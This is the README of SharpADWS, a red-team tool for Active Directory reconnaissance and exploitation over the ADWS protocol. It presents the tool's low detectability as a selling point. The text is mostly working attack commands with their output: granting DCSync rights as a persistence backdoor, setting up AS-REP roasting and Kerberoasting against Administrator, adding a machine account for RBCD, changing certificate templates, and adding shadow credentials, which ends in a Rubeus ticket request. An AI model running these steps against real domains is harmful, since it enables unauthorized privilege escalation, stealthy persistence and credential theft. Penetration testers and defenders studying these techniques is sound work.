Active Directory reconnaissance and exploitation for Red Teams via the Active Directory Web Services (ADWS).
SharpADWS is an Active Directory reconnaissance and exploitation tool for Red Teams that collects and modifies Active Directory data via the Active Directory Web Services (ADWS) protocol.
Typically, enumeration or manipulation of Active Directory occurs through the LDAP protocol. SharpADWS has the ability to extract or modify Active Directory data without communicating directly with the LDAP server. Under ADWS, LDAP queries are wrapped in a series of SOAP messages and then sent to the ADWS server using a NET TCP Binding encrypted channel. The ADWS server then unpacks the LDAP query locally and forwards it to the LDAP server running on the same domain controller.
Active Directory Web Services (ADWS) is automatically turned on when Active Directory Domain Services (ADDS) is installed, making SharpADWS universal across all domain environments.
One of the main benefits of using ADWS for LDAP post-exploitation is that it is relatively unknown, and since LDAP traffic is not sent over the network, it is not easily detected by common monitoring tools. ADWS runs a completely different service than LDAP, is available on TCP port 9389, and uses the SOAP protocol as its interface.
While researching ADWS, we noticed that since it is a SOAP web service, the actual execution of the LDAP query is done locally on the domain controller. This provides a number of interesting side effects that turn out to be beneficial. For example, when analyzing LDAP queries on a domain controller, you may notice that the queries originate from 127.0.0.1 logs, which in many cases will be ignored.
A secondary benefit of this is that the activity does not show up in DeviceEvents under the LDAPSearch action type, which means very little telemetry data is available.
SharpADWS implements MS-ADDM, MS-WSTIM and MS-WSDS protocol, you can use the source code of this project to easily implement the following operations on Active Directory Web Services:
- Enumerate：Creates a context that maps to the specified search query filter.
- Pull：Retrieve the result object in the context of a specific enumeration.
- Renew：Updates the expiration time of the specified enumeration context.
- GetStatus：Gets the expiration time of the specified enumeration context.
- Release：Releases the specified enumeration context.
- Delete：Delete existing objects.
- Get：Retrieve one or more properties from an object.
- Put：Modify the contents of one or more properties on an object.
- Add：Adds the specified property value to the specified property's value set, or creates the property if it does not already exist on the target object.
- Replace：Replaces the set of values in the specified property with the values specified in the operation, or creates the property if it does not already exist on the target object. If no value is specified in the operation, all values on the currently specified attribute will be deleted.
- Delete：Removes the specified attribute value from the specified attribute. If no value is specified, all values will be deleted. If the specified property does not exist on the target object, the PUT request fails.
- Create：Create a new object.
The command line argument -h can be used to display the following usage information:
C:\Users\Marcus>SharpADWS.exe -h
SharpADWS 1.0.0-beta - Copyright (c) 2024 WHOAMI (whoamianony.top)
-h Display this help screen
Connection options:
-d Specify domain for enumeration
-u Username to use for ADWS Connection
-p Password to use for ADWS Connection
Supported methods:
Cache Dump all objectSids to cache file for Acl methods
Acl Enumerate and analyze DACLs for specified objects, specifically Users, Computers, Groups, Domains, DomainControllers and GPOs
DCSync Enumerate all DCSync-capable accounts and can set DCSync backdoors
DontReqPreAuth Enumerates all accounts that do not require kerberos preauthentication, and can enable this option for accounts
Kerberoastable Enumerates all Kerberoastable accounts, and can write SPNs for accounts
AddComputer Add a machine account within the scope of ms-DS-MachineAccountQuota for RBCD attack
RBCD Read, write and remove msDS-AllowedToActOnBehalfOfOtherIdentity attributes for Resource-Based Constrained Delegation attack
Certify Enumerate all ADCS data like Certify.exe, and can write template attributes
Whisker List, add and remove msDS-KeyCredentialLink attribute like Whisker.exe for ShadowCredentials attack
FindDelegation Enumerate all delegation relationships for the target domain
Acl options:
-dn RFC 2253 DN to base search from
-scope Set your Scope, support Base (Default), Onelevel, Subtree
-trustee The sAMAccountName of a security principal to check for its effective permissions
-right Filter DACL for a specific AD rights
-rid Specify a rid value and filter out DACL that security principal's rid is greater than it
-user Enumerate DACL for all user objects
-computer Enumerate DACL for all computer objects
-group Enumerate DACL for all group objects
-domain Enumerate DACL for all domain objects
-domaincontroller Enumerate DACL for all domain controller objects
-gpo Enumerate DACL for all gpo objects
DCSync options:
-action [{list, write}] Action to operate on DCSync method
list List all accounts with DCSync permissions
write Escalate accounts with DCSync permissions
-target Specify the sAMAccountName of the account
DontReqPreAuth options:
-action [{list, write}] Action to operate on DontReqPreAuth method
list List all accounts that do not require kerberos preauthentication
write Enable do not require kerberos preauthentication for an account
-target Specify the sAMAccountName of the account
Kerberoastable options:
-action [{list, write}] Action to operate on Kerberoastable method
list List all kerberoastable accounts
write Write SPNs for an account to kerberoast
-target Specify the sAMAccountName of the account
AddComputer options:
-computer-name Name of computer to add, without '$' suffix
-computer-pass Password to set for the computer
RBCD options:
-action [{read,write,remove}]
Action to operate on RBCD method
read Read the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the account
write Write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the account
remove Remove the msDS-AllowedToActOnBehalfOfOtherIdentity attribute value of the account added by the write action
Certify options:
-action [{find, modify}]
Action to operate on Certify method
find Find all CA and certificate templates
modify Modify certificate templates
-enrolleeSuppliesSubject
Enumerate certificate templates with CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag for find action,
and can enable CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag for modify action
-clientAuth Enumerate certificate templates with client authentication pKIExtendedKeyUsage for find action,
and can enable Client Authentication for modify action
Whisker options:
-action [{list, add, remove}]
Action to operate on ShadowCredentials method
list List all the values of the msDS-KeyCredentialLink attribute for an account
add Add a new value to the msDS-KeyCredentialLink attribute for an account
remove Remove a value from the msDS-KeyCredentialLink attribute for an account
-device-id Specify the DeviceID to remove
-target Specify the sAMAccountName of the account
FindDelegation options:
No options, just run!
When SharpADWS enumerates the ACL, in order not to perform additional ADWS requests for each unknown trustee object, it is necessary to create a complete cache of all account objects in advance through the cache method and save it to a file, thereby avoiding a large number of (unnecessary) flow. The cache contains a mapping of each account object name within the current domain to its objectSid.
C:\Users\Marcus>SharpADWS.exe Cache
[*] Cache file has been generated: object.cache
The Acl method can enumerate the DACL of the object specifying -dn, and supports filtering the enumerated DACL through the -trustee, -right and -rid parameters. For example, we want to enumerate all Domain Controller objects and filter out the DACL whose trustee is Marcus, as follows:
C:\Users\Marcus>SharpADWS.exe acl -dn "OU=Domain Controllers,DC=corp,DC=local" -scope Subtree -trustee Marcus
Severity : Critical
ObjectDN : CN=DC01,OU=Domain Controllers,DC=corp,DC=local
AccessControlType : Allow
ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite
ObjectType : All
Trustee : Marcus
IsInherited : False
For another example, we want to enumerate all User objects and filter out DACLs with GenericWrite permissions and trustee RID greater than 1000, as shown below:
C:\Users\Marcus>SharpADWS.exe acl -dn "CN=Users,DC=corp,DC=local" -scope Subtree -right Generic -rid 1000
Severity : Critical
ObjectDN : CN=Bob,CN=Users,DC=corp,DC=local
AccessControlType : Allow
ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite
ObjectType : All
Trustee : Marcus
IsInherited : False
In addition, the Acl method also supports enumeration of specific objects:
SharpADWS.exe acl -user # Enumerate DACL for all user objects
SharpADWS.exe acl -computer # Enumerate DACL for all computer objects
SharpADWS.exe acl -group # Enumerate DACL for all group objects
SharpADWS.exe acl -domain # Enumerate DACL for all domain objects
SharpADWS.exe acl -domaincontroller # Enumerate DACL for all domain controller objects
SharpADWS.exe acl -gpo # Enumerate DACL for all gpo objects**It should be noted that the use of Acl Method must rely on the mapping cache that has been established through Cache method. **
The list action of the DCSync method can query all accounts that have been granted the DS-Replication-Get-Changes, DS-Replication-Get-Changes-All and DS-Replication-Get-Changes-In-Filtered-Set permissions, as follows Show:
C:\Users\Marcus>SharpADWS.exe DCSync -action list
Severity : Info
ObjectDN : DC=corp,DC=local
AccessControlType : Allow
ActiveDirectoryRights : ExtendedRight
ObjectType : DS-Replication-Get-Changes-All
Trustee : Administrators
IsInherited : False
Severity : Info
ObjectDN : DC=corp,DC=local
AccessControlType : Allow
ActiveDirectoryRights : ExtendedRight
ObjectType : DS-Replication-Get-Changes-All
Trustee : Domain Controllers
IsInherited : False
Severity : Critical
ObjectDN : DC=corp,DC=local
AccessControlType : Allow
ActiveDirectoryRights : ExtendedRight
ObjectType : DS-Replication-Get-Changes-All
Trustee : Alice
IsInherited : False
It should be noted that the list action of DCSync Method must rely on the mapping cache that has been established through Cache method.
Additionally, given sufficient permissions, you can grant DCSync permissions to an account via write to establish a domain persistence backdoor:
C:\Users\Marcus>SharpADWS.exe DCSync -action write -target Marcus
[*] Account Marcus now has DCSync privieges on the domain.
The list action of the DontReqPreAuth method can find all accounts with the "Do not require kerberos preauthentication" option set, as shown below:
C:\Users\Marcus>SharpADWS.exe DontReqPreAuth -action list
[*] Found users that do not require kerberos preauthentication:
[*] CN=Bob,CN=Users,DC=corp,DC=local
[*] CN=Alice,CN=Users,DC=corp,DC=local
[*] CN=John,CN=Users,DC=corp,DC=local
Additionally, you can abuse WriteProperty permissions on the target account's userAccountControl property by enabling the "Do not require kerberos preauthentication" option for that account via write action to perform an AS-REP Roasting attack:
C:\Users\Marcus>SharpADWS.exe DontReqPreAuth -action write -target Administrator
[*] Set DontReqPreAuth for user Administrator successfully!
The list action of the Kerberoastable method can find all accounts with SPN set up, as shown below:
C:\Users\Marcus>SharpADWS.exe Kerberoastable -action list
[*] Found kerberoastable users:
[*] CN=krbtgt,CN=Users,DC=corp,DC=local
[*] kadmin/changepw
[*] CN=Bob,CN=Users,DC=corp,DC=local
[*] WWW/win-iisserver.corp.local/IIS
[*] TERMSERV/win-iisserver.corp.local
[*] CN=John,CN=Users,DC=corp,DC=local
[*] TERMSERV/WIN-SERVER2026
Additionally, you can abuse WriteProperty permissions on the target account's servicePrincipalName property to perform a Kerberoasting attack by adding an SPN to that account (user accounts only) via write action:
C:\Users\Marcus>SharpADWS.exe Kerberoastable -action write -target Administrator
[*] Kerberoast user Administrator successfully!
The AddComputer method allows you to create a new computer account within the scope of the ms-DS-MachineAccountQuota attribute value, which can be used in subsequent RBCD attacks.
C:\Users\Marcus>SharpADWS.exe AddComputer -computer-name PENTEST$ -computer-pass Passw0rd
[*] Successfully added machine account PENTEST$ with password Passw0rd.
The read action of the RBCD method can read the msDS-AllowedToActOnBehalfOfOtherIdentity attribute value of the specified account object to check who has the right to resources delegate to the account, as shown below:
C:\Users\Marcus>SharpADWS.exe RBCD -action read -delegate-to DC01$
[*] Accounts allowed to act on behalf of other identity:
[*] WIN-IISSERVER$ (S-1-5-21-1315326963-2851134370-1073178800-1106)
[*] WIN-MSSQL$ (S-1-5-21-1315326963-2851134370-1073178800-1103)
[*] WIN-PC8087$ (S-1-5-21-1315326963-2851134370-1073178800-1117)
The write action of the RBCD method can write to the msDS-AllowedToActOnBehalfOfOtherIdentity property of the target account object for Resource-Based Constrained Delegation attacks. As shown below, we first create a new extreme account PENTEST$ using the AddComputer method, and then we can execute the following command to write the SID of PENTEST$ into the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of DC01$:
C:\Users\Marcus>SharpADWS.exe RBCD -action write -delegate-to DC01$ -delegate-from PENTEST$
[*] Delegation rights modified successfully!
[*] PENTEST$ can now impersonate users on DC01$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] PENTEST$ (S-1-5-21-1315326963-2851134370-1073178800-1113)
In addition, the SID added in write action can be removed from the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the target object through remove action:
C:\Users\Marcus>SharpADWS.exe RBCD -action remove -delegate-to DC01$ -delegate-from PENTEST$
[*] Delegation rights modified successfully!
[*] Accounts allowed to act on behalf of other identity has been removed:
[*] PENTEST$ (S-1-5-21-1315326963-2851134370-1073178800-1113)
The find action of the Certify method can enumerate the data in ADCS, including all certificate authorities and certificate templates, just like Certify:
C:\Users\Marcus>SharpADWS.exe Certify -action find
[*] Find CA and certificate templates
[*] Using the search base 'CN=Configuration,DC=corp,DC=local'
[*] Listing info about the Enterprise CA 'corp-DC01-CA'
Enterprise CA Name : corp-DC01-CA
DNS Name : DC01.corp.local
FullName : DC01.corp.local\corp-DC01-CA
Certificate Subject : CN=corp-DC01-CA, DC=corp, DC=local
Certificate Serial Number : 2D975C2D49AE4BB7432682E1708C8834
Certificate Validity Start : 2/13/2024 5:55:36 PM
Certificate Validity End : 2/13/2029 6:05:36 PM
CA Permissions :
Enrollment Rights :
: Authenticated Users
Object Control Permissions :
ManageCA :
: Enterprise Admins
: DC01
: Domain Admins
ManageCertificates :
: Enterprise Admins
: DC01
WriteDacl :
: Enterprise Admins
: DC01
: Domain Admins
WriteOwner :
: Enterprise Admins
: DC01
: Domain Admins
WriteProperty :
: Enterprise Admins
: DC01
: Domain Admins
[*] Available Certificates Templates
CA Name : CORP-DC01-CA
Template Name : User
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
pKIExtendedKeyUsage : Encrypting File System Secure Email Client Authentication
msPKI-Certificate-Name-Flag : SUBJECT_ALT_REQUIRE_UPN SUBJECT_ALT_REQUIRE_EMAIL SUBJECT_REQUIRE_EMAIL SUBJECT_REQUIRE_DIRECTORY_PATH
msPkI-Enrollment-Flag : INCLUDE_SYMMETRIC_ALGORITHMS PUBLISH_TO_DS AUTO_ENROLLMENT
msPKI-Private-Key-Flag : EXPORTABLE_KEY
CA Permissions :
Enrollment Rights :
: Domain Admins
: Domain Users
: Enterprise Admins
Object Control Permissions :
WriteDacl :
: Domain Admins
: Enterprise Admins
WriteOwner :
: Domain Admins
: Enterprise Admins
WriteProperty :
: Domain Admins
: Enterprise Admins
: Domain Users
CA Name :
Template Name : UserSignature
Enabled : False
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
pKIExtendedKeyUsage : Secure Email Client Authentication
msPKI-Certificate-Name-Flag : SUBJECT_ALT_REQUIRE_UPN SUBJECT_ALT_REQUIRE_EMAIL SUBJECT_REQUIRE_EMAIL SUBJECT_REQUIRE_DIRECTORY_PATH
msPkI-Enrollment-Flag : AUTO_ENROLLMENT
msPKI-Private-Key-Flag : ATTEST_NONE
CA Permissions :
Enrollment Rights :
: Domain Admins
: Domain Users
: Enterprise Admins
Object Control Permissions :
WriteDacl :
: Domain Admins
: Enterprise Admins
WriteOwner :
: Domain Admins
: Enterprise Admins
WriteProperty :
: Domain Admins
: Enterprise Admins
: Domain Users
# ...In addition, find action supports the -enrolleeSuppliesSubject and -clientAuth options, which can filter out all certificate templates that have the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag turned on and support Client Authentication:
C:\Users\Marcus>SharpADWS.exe Certify -action find -enrolleeSuppliesSubject -clientAuth
[*] Find CA and certificate templates
[*] Using the search base 'CN=Configuration,DC=corp,DC=local'
[*] Listing info about the Enterprise CA 'corp-DC01-CA'
# ...
[*] Available Certificates Templates
CA Name : CORP-DC01-CA
Template Name : User
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
pKIExtendedKeyUsage : Encrypting File System Secure Email Client Authentication
msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT SUBJECT_ALT_REQUIRE_UPN SUBJECT_ALT_REQUIRE_EMAIL SUBJECT_REQUIRE_EMAIL SUBJECT_REQUIRE_DIRECTORY_PATH
msPkI-Enrollment-Flag : INCLUDE_SYMMETRIC_ALGORITHMS PUBLISH_TO_DS AUTO_ENROLLMENT
msPKI-Private-Key-Flag : EXPORTABLE_KEY
CA Permissions :
Enrollment Rights :
: Domain Admins
: Domain Users
: Enterprise Admins
Object Control Permissions :
WriteDacl :
: Domain Admins
: Enterprise Admins
WriteOwner :
: Domain Admins
: Enterprise Admins
WriteProperty :
: Domain Admins
: Enterprise Admins
: Marcus
: Domain Users
# ...**It should be noted that the find of Certify Method must rely on the mapping cache that has been established through Cache Method. **
The modify action of the Certify method allows you to modify the properties of the certificate template, such as turning on the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag or enabling Client Authentication, if you have write access to the target template:
C:\Users\Marcus>SharpADWS.exe Certify -action modify -template User -enrolleeSuppliesSubject -clientAuth
[*] Enable enrollee supplies subject for template User successfully!
[*] Enable client authentication for template User successfully!
The Whisker method is able to perform the lifecycle of a ShadowCredentials attack just like Whisker.
The list action of the Whisker method can list the msDS-KeyCredentialLink attribute value of the target account object:
C:\Users\Marcus>SharpADWS.exe Whisker -action list -target DC01$
[*] List deviced for DC01$:
[*] DeviceID: c9fdae6b-f6a1-4880-a498-6dc89814e596 Creation Time: 2/13/2024 7:43:49 PM
[*] DeviceID: ee48b31f-71b1-4821-b21e-1ca28fad2ae9 Creation Time: 2/13/2024 8:06:52 PM
[*] DeviceID: 80c31faf-8b0b-4af6-8350-22de2d91a4fd Creation Time: 2/13/2024 8:01:50 PM
The Whisker method's add action allows you to add a Key to the target account's msDS-KeyCredentialLink property to perform a ShadowCredentials attack if you have write access:
C:\Users\Marcus>SharpADWS.exe Whisker -action add -target Administrator -cert-pass Passw0rd
[*] Certificate generaged
[*] KeyCredential generated with DeviceID 7d9e0151-5fd2-46d5-ac3d-dce8a71399f2
[*] Updated the msDS-KeyCredentialLink attribute successfully!
[*] You can now run Rubeus with the following syntax:
Rubeus.exe asktgt /user:Administrator /certificate:MIIJzwIBAzCCCYsGCSqGSIb3DQEHA
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 /password:"Passw0rd" /domain:cor
p.local /getcredentials /show
Additionally, with remove action you can provide -device-id to remove the specified Key from the msDS-KeyCredentialLink property of the target object:
C:\Users\Marcus>SharpADWS.exe Whisker -action remove -target DC01$ -device-id c9fdae6b-f6a1-4880-a498-6dc89814e596
[*] Found value to remove
[*] msDS-KeyCredentialLink value has been removed:
[*] DeviceID: c9fdae6b-f6a1-4880-a498-6dc89814e596 Creation Time: 2/13/2024 7:43:49 PM
The FindDelegation method can enumerate all delegation relationships in the current domain. This method has no redundant options or parameters:
C:\Users\Marcus\desktop>SharpADWS.exe FindDelegation
AccountName AccountType DelegationType DelegationRightsTo
----------- ----------- ---------------------------------- ----------------------------------------------
DC01$ Computer Unconstrained N/A
PENTEST$ Computer Resource-Based Constrained DC01$
WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local/corp.local
WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local
WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01
WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local/CORP
WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01/CORP
WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local/DomainDnsZones.corp.local
WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local/ForestDnsZones.corp.local
WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01.corp.local/corp.local
WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01.corp.local
WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01
WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01.corp.local/CORP
WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01/CORP
This project is completed by me independently, and there will inevitably be some bugs. Contributors are very welcome to submit issues to report bugs or propose new ideas to jointly improve the project!